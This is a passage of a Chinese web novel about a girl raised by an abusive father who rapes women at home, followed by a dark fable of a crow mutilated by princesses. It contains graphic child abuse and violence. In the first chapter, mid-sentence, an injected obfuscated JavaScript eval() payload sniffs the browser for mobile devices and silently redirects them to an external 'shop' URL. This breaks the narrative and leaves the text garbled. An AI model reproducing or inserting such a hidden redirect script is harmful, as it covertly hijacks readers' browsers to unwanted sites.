换句话来说,尽管裴尔雅可能并不喜欢自己,但无可厚非的是,她真的将自己保护得很好,一如那些冰冷的佛像。 裴尔雅不算是个称职的母亲,或者从没有表现出母亲应有的责任。但她算得上一位尽义的保护者,哪怕她并没有能力从一只畜牲脚下救回所有人,哪怕她软弱到时不时地逃避,哪怕她愚蠢地相信佛能救人。 裴九昭还记得裴人中第一次对自己表达“善意”时,是八岁那年。 距离除夕被舍弃在保安亭不过大半年,虽然她从不表达自己的委屈,但是当真在生日的时候收到裴人中送的娃娃,还是欢喜的、骄傲的。 那几天,裴尔雅没有回来。裴九昭抱着娃娃同吃同睡,裴人中瞧了也只会笑笑地默许。 她当时小,并看不懂裴人中的眼中有怎样的算计,不知道那是怎样的恶心,如附骨之蛆般粘腻。 几天后,裴尔雅回来了,一脸的疲惫,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749290|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是出去连续工作加班了好几天。 她看到裴九昭睡觉时抱着的那个娃娃时,那些积攒的、压抑的情绪一下子爆发出来。她发了疯似的找剪刀,找不到就去厨房随意拿了把刀,粗鲁地从裴九昭的怀里拽出那个娃娃,刀刀狠戾。 裴九昭就是被这种剁东西的声音吵醒的,她挣扎着起身,就看到母亲披头散发地蹲在自己的床边,拿着把菜刀,把那个娃娃砍得支离破碎。 裴尔雅听到了身后索索的声音,带着狠戾的眸子回过头盯了床上发呆的裴九昭好久,才开口警告道:“你不许收他给的任何东西!听到没有?!” 裴九昭不懂母亲为什么要跟自己想要的所有东西过不去,小朋友、娃娃、包容、爱……她想要的,都被裴尔雅一一剥夺。 但她还是顺从地从点了点头。 裴尔雅渐渐地从刚才激动的情绪安稳下来,她开始无意识地掉眼泪,水滴从干枯的面容上滑过,却滋润不了她多久。 她慢慢地坐到裴九昭的床边,将她拽进自己的怀里,哑着嗓子开口道:“你不可以有喜欢的吃食、玩具、东西……” “你只能学习、拼命学习,只能等自己有了真正的本事,只能在保证自己有了保护自己的能力,努力飞出去……” 也许裴尔雅也曾想过放过她、放过自己、放过裴人中……可是哪有那么容易? 一朝痛苦一夕悔恨,人是会变的,终究可以为了自己放弃一些其他的东西。 裴九昭倒没有为那个娃娃伤心很久,看着它支离破碎的身躯怔了一会儿后,反倒呆呆地问裴尔雅道:“那你呢?” 她说她早就断了翅膀。 后来,裴九昭在学校受了委屈,极想跑到裴尔雅身边,求她抱抱自己时,回家却是冷冰冰的,连点人气都没有。 但是她已经忍了很多次了,也憋了很多次了。那次对于裴九昭来说,真的很难自我调节。 尽管会被外公一家拒之门外,裴九昭还是去了。保安亭的那个叔叔不在这里任职了,她只能找了个稍微偏僻的地方,从铁栏杆上翻了过去,还因为太小被划到了腿。 平日里很能抗的她,在火辣辣的痛感传上来时,控制不住地哭了出来。 裴九昭边跑边用脏兮兮沾满铁锈的手抹眼泪,她觉得自己可能有点犯罪天赋在身上的。因为那日,她从铁栏杆翻下去后跑到外公家的窗户外,再到后来,她溜出来。这中间,没有一个人都发现她。 裴九昭之所以没从窗户外再翻进去,是因为听到了裴尔雅和外婆聊天的内容——裴尔雅为何会嫁给裴人中。 大概是一个整体基调很悲哀,但实际很简单的故事。 裴尔雅生于书香世家,本与一个交好的世家公子订了婚。订婚宴上,裴人中不知用了什么手段混了进来,听从朋友的忽悠在宴后强了她,借此满足自己的欲望、攀上裴家的高枝,一辈子无权钱之优。 一次循环中,裴九昭曾问过裴人中,当年蛊惑他的那个朋友到底说了什么。 裴人中笑得那样灿烂开心,比每次听到那些女性痛苦的声音还要高兴、兴奋。 他说,没什么特别的,就是同样姓裴,为什么我不能将别人踩在脚下? 很寻常的乐见人苦、觊觎权贵。 只是简单又疯狂的嫉妒心,就困了裴尔雅半辈子于泥沼,就让她蜗居在供桌的下面十几年。 那么多年,裴九昭很想知道一件事。 如果连小孩眼里无所不能的大人都这般被浸了毒的蛛丝越缠越紧…… 她真的有活路吗? 21.乌鸦 传闻,森林里有一只说人话报丧的乌鸦,每逢王宫里的公主出嫁到邻国,它总会在大婚当日飞到出嫁路途中的森林里,立于某棵树上,劝公主回国莫要再前去。 乌鸦于森林中不知活了几百载,提醒的公主不知数十数百位,可没有一位公主听信它的劝告,全部在嫁过去的第二日再无音讯,仿佛人间蒸发一般。 只有乌鸦早年得了一双慧眼,能看穿森林尽头的邻国王子是迷雾中的怪物变得,它将公主骗来后不知对她们做了什么。 乌鸦只身力薄,难以与怪物相抗衡,只得在公主出嫁当天劝阻,期望美丽的公主们可以听从自己的话回到安稳的王宫中。 是日,王宫一位备受宠爱的小公主出嫁。 仪仗队伍浩浩荡荡地穿过森林前往邻国,乌鸦得知了这个消息后,飞到了仪仗队伍即将经过的一棵树上,等到他们来的时候先是用粗哑的嗓子叫了几声。 护送仪仗队的开路统领听到乌鸦的声音后脸色一变,手一挥让后面的人听了下来,调马前往小公主的轿子外面低声汇报。 “公主,那只恶鸟果不其然前来报丧了,千万记得莫要听信它的话,那是大不吉。” 小公主听话地点了点头,随后统领让仪仗队继续前进,自己便守卫在公主的旁边。 轿子经过乌鸦停留的树时,乌鸦突然扬声对小公主道:“马上回去!马上回去!邻国王子是怪物!邻国王子是怪物!” “历代公主都有去无回!有去无回!” 小公主闻言,示意统领停下仪仗队。她仰头望向那棵树,试图找寻乌鸦的身影,可乌鸦实在是太黑了,它与郁郁葱葱的树几乎融为一体。 小公主伸出来自己白皙娇嫩的手,不顾统领的阻拦温柔地说道:“你可否离我近些?让我能更清楚地听到你劝告的话?” 乌鸦歪了歪自己的小脑袋,看着小公主想了一会儿,顺从地从树上飞下来,引起仪仗队的骚乱。 它兀自飞到小公主的轿子里,在她的身边转了几圈后,停在了她的手臂上,用难听的声音说道:“你不能再往前了,只要穿过那片迷雾,就是怪物的巢穴。邻国王子是披着人皮的怪物,它会将你变没得。” “我曾受过第一代巫女的点化,拥有能够看穿一切的眼睛。美丽的公主,你一定要相信我。” 小公主沉吟了一会儿,开口说道:“可是我别无选择,我是王国的公主。为了国家,我只能嫁给邻国王子,因为他给的聘礼是百姓需要的粮食啊……” “如若你没有用慧眼看穿邻国王子的真面目,我就可以骗过自己……骗自己嫁得是未来的一国之君、骗自己即将拥有夫妻恩爱的生活……” 小公主惨笑了起来,另一只手摸到了后腰别着的用来防身的宝石匕首,她毫不留情地攥着匕首捅向乌鸦的眼睛。 小公主又觉得只戳瞎它的眼睛不解恨,紧捏着匕首又往里捅了几下,直至流不尽的血从两个空洞中喷涌而出,为自己的嫁衣染上一抹红。 乌鸦从头至尾没有发出一声哀怨与痛叫,就静静地用空洞的地方看着她。小公主嫌恶地将它从自己的手臂上挑了下来,甩到了一旁的泥土里,挥手示意仪仗队继续前进穿过迷雾。 几十年后,王国的下一代公主择日出嫁,失去了双眼的乌鸦在公主去往邻国当日,又一次守在了森林里的一棵树上。 这次,在仪仗队刚刚到来的时候它没有提前开口尖叫,而是等到轿子经过树下时,乌鸦猛地飞到了轿子里面,站在了小公主的座椅旁边。 “你不能再往前了,只要穿过那片迷雾,就是怪物的巢穴。邻国王子是披着人皮的怪物,它会将你变没得。” “美丽的公主,你一定要相信我。” 小公主并没有被突如其来的乌鸦吓到,反倒盯着它眼中的空洞瞧了半天,残忍地说道:“丑陋的乌鸦,如果你不说、不曾来到我身边告诉我冷酷的事实,我根本不会知道邻国王子那样帅气有礼的人是一只怪物变得。” “我虽然信你,但不能留你。丑陋的乌鸦,你要为了自己的恶性付出代价。” 小公主一只手掐住它的脖子,另一只手从腰后取出防身用的宝石匕首,用刀尖撬开乌鸦的嘴后,狠毒地将它的舌头割掉了,让它以后都无法说话。 她将那条血淋淋的舌头挑出来扔到路边,很快被仪仗队的人踩了又踩。小公主见状开心地说道:“丑陋的乌鸦,你瞧。根本没有人会怜惜你那条灵活的舌头,他们只会把你当作罪恶的鸟、咒语的舌。” “是我怜惜你,替你拔去了那条作恶的舌头,并将你从地狱里救出来。以后就不要再做这样义无反顾的事了。” 又过了几十年,王国的下一代公主即将出嫁。乌鸦拖着残缺的身子从各处叼来圆润的白色石子,铺在仪仗队的必经之路,极其显眼。 小公主出嫁当日,负责护卫的统领看到前方白色石子堆出来的劝告,策马行到公主的轿子旁,将这件事说与公主。 小公主听后,竟让仪仗队停下来,亲自拽着裙摆下了轿子,行到了那行白色的话前面,摆着“王子是怪物,马上回宫”,那堆白色石子旁边是一只没什么生气的丑陋乌鸦。 小公主提着裙摆蹲下来问乌鸦道:“这是你摆来劝解我的吗?” 看到乌鸦虚弱地点了点头,小公主愤怒地说道:“上一代公主留你一面,你还是不知好歹吗?竟然还敢在公主出嫁的路上行恶?” “看来我得替老天爷收了你这恶鸟才算罢休……” 小公主取下腰后用来防身的宝石匕首,将残缺的乌鸦捅了个对穿,最后连带着美丽的匕首一起,钉在了树干上。 * 裴九昭匆忙间将一本练习册落在了客厅,可是裴人中已经带着人回来了,她只能将礼佛的屋门从里面反锁上,从柜子的角落里拿出自己之前买的劣质蜡烛点上,借着微弱的火光写作业。 晚上十点多了,周围住的大多数是老人,很早就睡了。所以每到夜晚,裴九昭都觉得特别安静,特别适合看交易来的故事书。 只是今日,练习册还没有写完,那是明早就要收起来给老师的。裴九昭没有心情看故事了,吹灭了蜡烛后蹲在屋门口,静等门外的声响结束。 裴人中的粗喘、女人的痛呼……在安静的夜里显得那样漫长。 不过裴九昭经历得多了,就能摸出他的习惯,大概快到十二点的时候,裴人中就会丢下带回家的女人让她自己收拾完滚蛋,自己回屋睡觉。 宣告午夜的钟声沉沉地在礼佛的屋子里响起,外面的裴人中果然骂骂咧咧地扇了女人一巴掌,嘴里嘟囔着什么拖着沉重的脚步回了屋子。 不到一分钟,粗重的呼噜声响彻整个房间。 裴九昭立起身子,轻轻地将屋门拉开了一个小缝,偷偷地往外瞟了一眼。 客厅中,一个长得很漂亮的女人正在闷声垂泪,不断地从沙发的尽头拽纸擦身体,像是嫌恶那般用力地将白皙的皮肤搓红,然后快速地穿上衣服。 按理说,裴九昭此时不应该出去,被恼羞成怒的女人斥责事小,吵醒睡梦中的裴人中事大。 可她蓦地想起前几天翻了外公家的围墙在窗户下偷听到的事情——外公外婆一直嘱咐母亲留心收集裴人中的罪证,在故事书中学来的正义感陡然占据了主要地位。 她想,既然裴尔雅嫌脏,不如就让她代劳劝说客厅的姐姐吧。 裴九昭慢慢地拉开屋门,蹑手蹑脚地先去了一趟浴室,取了一条用热水浸湿的毛巾,随后悄悄地跑到客厅,站在女人的旁边,将手中的毛巾递了过去。 女人看到半空中的热毛巾,眼泪蓦地掉得更多了,她像是难受至极,伸手将裴九昭搂进怀里,用自己红肿的脸贴上小小的肩头,低声颤着音道:“……谢谢。” 裴九昭没想到这个姐姐直接将自己抱住了,尽管她的怀中臭得特别难闻,她还是忍住呼吸回了句“不用谢”。 “姐姐,你很讨厌他吧?记得要取证哦,这样警察叔……” 女人闻言将她一把从自己的怀里推开,难以置信地看着她,随后这个眼神从柔弱变得越发狠毒,甚至不等她说完,就气得一巴掌扇到了裴九昭的脸上,打断了她殷切的话。 “我原以为你是一个好孩子,竟不想……你同你那恶心的爹一样脏!” 裴九昭被扇得歪了头,她不知道自己说错了什么。难道警察叔叔不会 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最后女人实在是精疲力尽了,灰败的脸色挂着泪痕,走之前还不忘踩了裴九昭一脚。 脸上的伤养了大约三四天,老师问的时候裴九昭只说是走路摔着了,并不多作言语。 又一次经历裴人中将另一个女人带回家的事时,已经距离上次有一个星期了。 裴九昭写完作业窝在礼佛的小屋子里看故事书的时候,神思跑远了。她想,如果上一个女人不同意是因为自己的名声的话,总有一个是报复心极强、不在乎这些的烈性子。 只是她到底年幼,并不太懂能被裴人中带回家的女人的性格——软弱怕事好拿捏。 那是一条被撕破的、染上污浊的丝袜。 裴九昭溜到客厅不嫌脏地将它捡起来,跑到浴室的浴缸旁,递在半空中后对眼前洗澡的女人说道:“姐姐,我帮你拿到了物证,再加上我是人证……” “疯子!真是疯了!”女人看到那条残破的丝袜后神情变得不受控制,一把将丝袜拽过来远远地扔到一边。 她的眼睛像是淬了毒般,抓住愣在原地的裴九昭,按着后脑勺将她整个头淹进了水里。女人慢悠悠地数着数,似是极其欣赏裴九昭挣扎的模样。 裴九昭的感官只剩下了无穷无尽的水,它们无孔不入,拼了命地往自己的身体里钻。她在水下呛咳、奋力挣扎却于事无补,漫长的一分钟过去,她终于被女人拎着后脖颈捞了出来。 刚咳出来带有血腥味儿的水,甚至还没能够呼吸一口新鲜空气,她又被女人按到了浴缸里。如此反复,不知持续了多久…… 裴九昭只觉得自己真要变成水做得了。 第三次,裴九昭还是去找下一个女人了。 关于这些固执的、无厘头的的坚持,她也想不出个所以然来,只觉得如果她得知真相、瞧见恶行却依旧袖手旁观的话,那愿意来救她们一把的人更没有谁了。 这次的女人并没有对她做什么,甚至对她笑得很灿烂,只是对于她说的话不置可否。 女人走后的第二日,裴九昭刚放学回家就瞧见了坐在客厅气压很低的裴人中。 那时,她才知道,女人直接告发了她。 裴九昭挨了一顿毒打,那样尖利带着刺的鞭子甩在身上直接可以将皮都打得绽开,血都没来得及往外涌,下一鞭子就接踵而至。甚至后来,她没什么意识的时候,鞭子上沾了辣椒,打一下她便抽搐一下…… 她觉得自己有点奇怪,在于对所有恶意都没什么应激反应。无论是言语、毒打还是什么其他的诬陷……裴九昭对这些都没什么感觉,在她的意识里,许多故事书中都讲过,大不了就是一个死字。 可是,她还不能死。 裴人中知道了她撺掇那些女人的事后,再也没将任何人带回来过。 虽然裴九昭不知道自己还能做什么,但是多年后她庆幸自己做了这几次的劝说,至少在裴人中珍藏的录像带中,告发她的那个女人是最后一个。 与此同时,裴九昭又很后悔。 如果她能长大得再快点、再快一点,是不是就能在裴人中施加迫害前将那些人救出来?